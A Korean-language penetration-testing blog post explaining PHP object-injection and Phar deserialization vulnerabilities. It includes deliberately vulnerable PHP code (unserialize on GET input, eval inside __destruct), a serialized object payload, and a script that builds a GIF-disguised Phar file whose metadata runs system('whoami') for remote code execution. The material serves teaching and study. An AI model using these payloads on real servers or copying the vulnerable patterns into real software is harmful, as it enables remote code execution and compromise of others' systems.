WEB

PHP, Phar deserialization 역직렬화 취약점

모의해킹 2024. 8. 27. 10:39

공통점 : 두개 모두 직렬화 -> 역직렬화 시 발생하는 취약점이며, Magic Method를 사용할 때 발생한다.

 

Magic Method란

__로 시작하는 함수를 의미하며, 생성자, 소멸자인 __construct, __destruct도 해당된다.

 

1. PHP 역직렬화 취약점 (Object Injection)

1-1. object.php 생성

// object.php

<?php
	class testB {
    	public $id = 'admin';
        public function __destruct() {
        	echo 'user id: ' . $this->id . ' <br/>';
        }
   	}
?>

1-2. index.php 생성 및 확인

// index.php
<?php
	include 'object.php';
    
    $obj = new testB();
   	unserialize($_GET['input']);
?>

1-3. 파일 역직렬화를 통해 admin을 변경

O:5:"testB":1:{s:2:"id";s:5:"Genie";}

해석 

  • O - Object
  • 5 - Object name length
  • testB - 클래스 또는 해당 객체 이름
  • 1 - object size (예를 들어 입력되어야 할 값이 3개라면 3이 됨. )
  • s - string
  • 2 - string length
  • id - string name. 여기서 id는 testB 클래스에 정의된 $id 변수
  • s - string
  • 5 - string length
  • genie - string name. 여기서 pongchi는 임의 문자열 입력한 것임.
    <주의> : 위 폼 양식에 하나라도 틀리면 제대로 동작하지 않음

 

2. Phar 역직렬화 취약점 (rce 공격)

1-1. File을 불러오는 PHP 코드입니다.

<?php
$filename=$_GET['path'];
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

1-2. PHP로 생성한 역직렬화 RCE 코드입니다.

<?php
class imgObject {
    var $output = 'echo "ok";';

    function __destruct() {
    }
}

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');

// imgObject 객체를 생성하고, 명령어를 설정
$object = new imgObject();
$object->output = 'system("whoami");';

// 객체를 Phar 메타데이터에 설정
$phar->setMetadata($object);
$phar->stopBuffering();
?>

1-3. php --define phar.readonly=0 test.php 명령어 사용하여, 개인 서버 내 phar 파일 생성하였습니다.

 

1-4. phar 파일 동작 시 whoami 명령어가 실행되어 apache 문구를 확인하였습니다.

추가 예시

<?php
class TEST {}
#phpinfo();
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
$object = new TEST('file:///var/www/html/admin.php');
$phar->setMetadata($object);
$phar->stopBuffering();
?>

 

해석

Hanwul님 블로그의 Deserialize Vulnerability 부분 확인

phar 역직렬화 취약점이 발생한 이유에 대해 자세한 설명되어 있으니 참고 바랍니다.

 

PHP 역직렬화 취약점

참고 : https://velog.io/@woounnan/WEB-PHP-Serialization

Phar 역직렬화 취약점 

참고 : https://www.hahwul.com/2018/11/12/phar-php-deserialization-vulnerability/